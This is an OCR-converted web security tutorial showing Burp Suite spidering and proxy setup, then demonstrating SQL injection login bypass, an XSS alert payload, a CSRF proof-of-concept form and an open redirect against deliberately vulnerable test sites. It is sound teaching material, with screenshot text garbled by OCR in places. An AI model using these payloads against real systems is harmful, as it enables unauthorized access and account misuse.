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Web Spidering

- Walks through the web page gathering links
- Shown in "Site Map" under "Target" in Burpsuite

Setting Up Proxy in Firefox for Burpsuite Community
- Goto Settings -> General -> Network Settings -> Settings

e Connection Settings -> Manual Proxy Configuration
e HTTP Proxy ->127.0.0.1 -> Port -> 8080

General Browsing

W4 Use autoscrollin
{(q) Home = <

Use smooth scrolling

Q Search

& Privacy & Security Search for text when you start typing

Always use the cursor keys to navigate within pages

Q Sync Enable picture-in-picture video controls Learn more

Control media via keyboard, headset, or virtual interface Learn more
m More from Mozilla

Recommend extensions as you browse Learn more

Recommend features as you browse Learn more

Network Settings

5] Extensions & Themes Configure how Firefox connects to the internet. Learn more Settings...

Figure 1: Firefox settings

O Manual proxy configuration

HTTP Proxy | 127.0.0.1 Port 8080

Figure 2: Firefox proxy page




- To configure proxy in Burpsuite
e Proxy -> Proxy Settings -> Proxy -> Listeners ->

Burp Suite Community Edition v2023.6.2 - Temporary Project
Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Dacoder ‘Comparer Logger Organizer Extensions Learn @ Sattings
Intercept HTTP history WebSockets history @ Proxy settings
[ ON ] Settings
| | el ‘ Tools ¥ Proxy Manage global settings :
Al User Projact T -

- (2) Proxy listeners

Projec
ook @ Burp Proxy uses listeners to receive incoming HTTP requests from your browser. You will need to configure your browser to use one of the listeners as its proxy server.
~ Tool
Proxy Add Running Interface Invisible Redirect Certiicate LS Protocals Support HTT
Intruder Edit 127.0.0.1:8080 Per-host Default a
Repeater Remove
‘Sequencer
Burp's browser
~ Project
Scope
Each installation of Burp generates its own CA certificate that Proxy listeners can use when negotiating TLS connections. You can impart or export this certificate for use in other tools ¢
Collaborator . N
installation of Burp.
Tasks
Import / export CA certificate Regenerate CA certificate
Automatic backup P P
Logging
Sessions (?) Request interception rules Projec
» Network @ Use these settings to control which requests are stalled for viewing and editing in the Intercept tab.

* User interface Intercept requests based on the following rules: Master interception is

ted off

> Suite

Add Enabled Operator Match type Relationship Condition
Extensions
Edit File extansion Does not match ("gif3|"jpgs|"png8| csssirjss|ricosirs...
Or Regquest Contains parameters
Remove or HTTP method Does not match {getpost)
M Configuration lib
orary T And URL Is in target scope »
- s D -

Figure 3: Burpsuite proxy listeners

- Finally set settings to automatically spider in scope applications

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer Decoder

oo ©@0 .

%/ Fiter Running | Paused = Finished | | ' Livetask | Scan Intruder atiack el

. Live passive crawl from Proxy (suite scope) ) & W
Add links. Add item itzelf, same domain and URLs in suite scope. 14 items added to site map
) 1 responses processed
capurvs @D
0 responses queued

Figure 4: Passive crawler option




Screenshot showing spidered website i

n "Site Map" section

Dashboard Target Prooy Intruder Repeater Collaborator ‘Sequencer Decoder Comparer Lopger Organizer
Site map Issue definitions {o} Scope settings
of-scope Pro Re-enable
"/ Fitter: Hiding not found items; hiding CSS, image and general binary content; hiding 4xx responses; hiding empty folders
v http://testaspnet.vulnweb .com Host Method URL Params  Status code Length
5 & Comments.aspx http://testaspnet.vulnwe... GET /default.aspx 200 14226
- http://testaspnet.vulnwe... GET flogin.aspx 200 13509
* 9 ReadNews.aspx http://testaspnet.vulmwe... GET /Comments.aspx
[ Signup.aspx htt spnetvulnwe... GET : 0 J
hitt staspnetvulnwe... GET fComments.aspxTid=2 J
about.aspx
[ aboutaspx hitt staspnetvulnwe... GET fComments.aspxTid=3 J
[ defauttaspx hit; spnetvulnwe.. GET /ReadNew
> [T images hitt spnetvulnwe.., GET /ReadNews. D&... v
) hit spnet.vulnwe... GET fReadNews. id=2&... o
[ login.aspx http://testaspnet.vulnwe... GET /ReadNews.aspxTid=34&... J
™ recFaad acny Lt o =
Figure 5: Target map tree
Most Commonly Found Vulnerabilities: Description:

SQL Injection

Backend database flaw

Gather database information via
malicious SQL queries

Can extend attack to gaining shell
on OS and reading OS file provided
that DB account has privileged

XSS (Cross Site Script)

Unfiltered user input leading
execution of Javascript payload
Flaw is within user output encoding
of the web application

Can extend attack further if chained
with other vulnerabilities such as
CSRF

CSRF (Cross Site Request Forgery)

Tricking user on performing action
based on attacker payload

Flaw resides within the token of the
application and how random it is
Can be used for further exploit
provided that there is attack surface

Open Redirect

Flaw that redirects to arbitrary
domain

Flaw within HTTP flow of application
resulting in return URL input being
in control of attacker




Exploiting Most Common Web Vulnerabilities

SQL Injection

- Occurs when unsanitized user input gets processed to the backend database
- Attack interferes with original SQL query
- Analways true statement resulting in bypassing authentication

// HTTP POST request showing always true SQL statement

POST /login.aspx HTTP/1.1

Host: testaspnet.vulnweb.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101
Firefox/115.0

[...]

[...]tbUsername=%27+or+1%3D1--+-
&tbPassword=test&chPersistCookie=on&btnLogin=Login

// HTTP response showing successful admin login
HTTP/1.1 302 Found

Cache-Control: private, no-cache="Set-Cookie"
Content-Type: text/html; charset=utf-8

Location: /Default.aspx

[...]

// HTTP GET request to admin page

GET /Default.aspx HTTP/1.1

Host: testaspnet.vulnweb.com

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101
Firefox/115.0

[...]

// HTTP response

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

[...]
[...]

<a href="logout.aspx" id="Mainmenu2_InkLog" class="menu" name="InkLog">logout
admin</a>

[...]
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Web Attacks - Can Your Web ApDIlcahons Withstand The Force?

21 July 2005 - Start-up company Acunetix released Acunetix Web
Vulnerability Scanner: a tool to automatically audit website security. Acunetix
Web Vulnerability Scanner 2 crawls an entire website, launches popular web
attacks (SQL Injection etc.) and identifies vulnerabilities that need to be
fixed.

Figure 6: Bypassed login using SQLi

XSS

- Exploiting uses Javascript based payloads
- Flaw within output encoding of user input
- Payload adding image tag resulting in alert popup on screen

// HTTP POST request

POST /guestbook.php HTTP/1.1

Host: testphp.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/114.0

[...]
[...]

name=anonymous user&text="><img src=x onerror=alert(1)>&submit=add message

[...]

// HTTP response
HTTP/1.1 200 OK
Server: nginx/1.19.0

[...]
[...]

<td colspan="2"><img src="/images/remark.gif">&nbsp;&nbsp;"><img src=x
onerror=alert(1)></td></tr>

[...]




vulnweb.com

pra
&P testaspnet.vulnweb.com

Figure 7: XSS payload showing alert box

- Happens due to missing CSRF tokens
- Available in most user functionality e.g. change password
- Testing delete functionality showing no CSRF token is being applied

// HTTP GET request

GET /Default.aspx?delete=3 HTTP/1.1

Host: testaspnet.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/114.0

[...]

Cookie: ASP.NET_Sessionld=sxpmriikzkolpmgzxuhuun3t;
frmLogin=71F9D21793AF77(...]A4E5CEASF9ESEA64705C3F

// HTTP response

HTTP/1.1 200 OK

Cache-Control: private

Content-Type: text/html; charset=utf-8

[...]



posted by admin on 11/8/2005 11:37:35 AM delete a2dd oo

Acunetix Web Vulnerability Scanner Beta Released!

26 January 2005 - A beta version of Acunetix Web Vulnerability Scanner has

been released today. The beta is available for download at

http://www.acunetix.com/download/.

posted by admin on 11/8/2005 11:35:22 AM del=te 2dd o

Web Attacks - Can Your Web Appllcatmns Withstand The Force?

21 July 2005 - Start-up company Acunetix released Acunetix Web

Vulnerability Scanner: a tool to automatically audit website security. Acunetix
Web Vulnerability Scanner 2 crawls an entire website, launches popular web
attacks (SQL Injection etc.) and identifies vulnerabilities that need to be

Finend
Figure 8: Using delete functionality

GET /Default.aspz?delete=3 HTTP/1.1

Host: testaspnet.vulnweb.com

User-Agent: Mozilla/5.0 (Windows NT 10.0;

Wined;

xod; rv:109,

Bccept: text/html, application/xhtml+xml, application/xml;qg=0.%

Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate

Referer: http://testaspnet.vul
DNT: 1

Connection: close

Cookie: ASP.NET SessionId=sxpl
T1F94CAl80FS9E663EEZ63E933A0230
E04431ATF0%66D3T731F25C4865CD4¢
B30C4Z27BAAESCEASFYESEREATOLCE]
Upgrade-Insecure-Requests: 1

Figure 9: Generating CSRF POC
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spx?delete=3

3t; frmLogin=
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4863825C3F5DB

Find references
Discover content
Schedule task
Generate CSRF PoC



CSRF PoC generator

Request to: http://ftestaspnetvulnweb.com

Pretty Raw Hex

1 GET /Default.aspz?delete=3 HTTE/1.1

2 Host: testaspnet.vulnweb.com
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Wined; x64; rv:109.0)
Firefox/114.0
4 Accept:
®@ « 2 Search
CSRF HTML:
1 <html>
2 <l-- CSRF PoC - generated by Burp Suite Professional -->
3 <body>
il

<gscript>rhistory.pushState('', "', "/'")</script>

5 <form action="http://testaspnet.vulnweb.com/Default.aspz">
6 <input type="hidden”™ name="delete" wvalue="3" />
7 <input type="submit" wvalue="Submit request" />
8 </torm>
9 </body>
10 </html>

Figure 10: CSRF POC generated

CSRF HTML:

1 <html>

2  <l-- CSEF PoC - generated by Burp Suite Professional -->
3 <body>

4 <gcript>history.pushstate('', "', "/'")</script>

5 <form action="http://testaspnet.vulnweb.com/Default.aspz">
6 <input type="hidden" name="delete" walue="3" />

7 <input type="submit" wvalue="Submit request" />

8 </form>

9  </body>

10 </html>

®{§} € ||| | Search

Figure 11: To test POC click on Test in Browser option

Open Redirect

- Results in attacker redirecting user input to specific domain
- Useful in conjunction with XSS attacks
- Occurs in login page requests after successful authentication

// HTTP GET request
GET /redirect?newurl=http://google.com HTTP/2

Gecko,

0 matches

Close

Host: url-redirection-harder-3fda93f9-968e-4dde-827f-4d2a4c6ad149.skf-labs.training



User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/114.0

[...]

// HTTP response

HTTP/2 200 OK

Content-Type: text/html; charset=utf-8
Location: http://google.com

[...]

[...]

<title>Redirecting...</title>

<h1>Redirecting...</h1>

<p>You should be redirected automatically to target URL: <a

href="http://google.com">http://google.com</a>. If not click the link.
[...]

Pretty Raw Hex Render

1 HTTP/2Z 302 Found

Date: Mon, 31 Jul 2023 15:20:18 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 241

[Location: http://google.com)

Strict-Transport-Security: max-age=157245800; includeSubDomains

[SVN )

~1 O U e

) <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>
Redirecting...
</title>
<hl>
Redirecting...
</hl>
L1 <p>
You should be redirected automatically to target URL: <a href="http://google.com">
http://google.com
</ax>
If not click the link.
Figure 12: Screenshot showing URL redirect to Google domain
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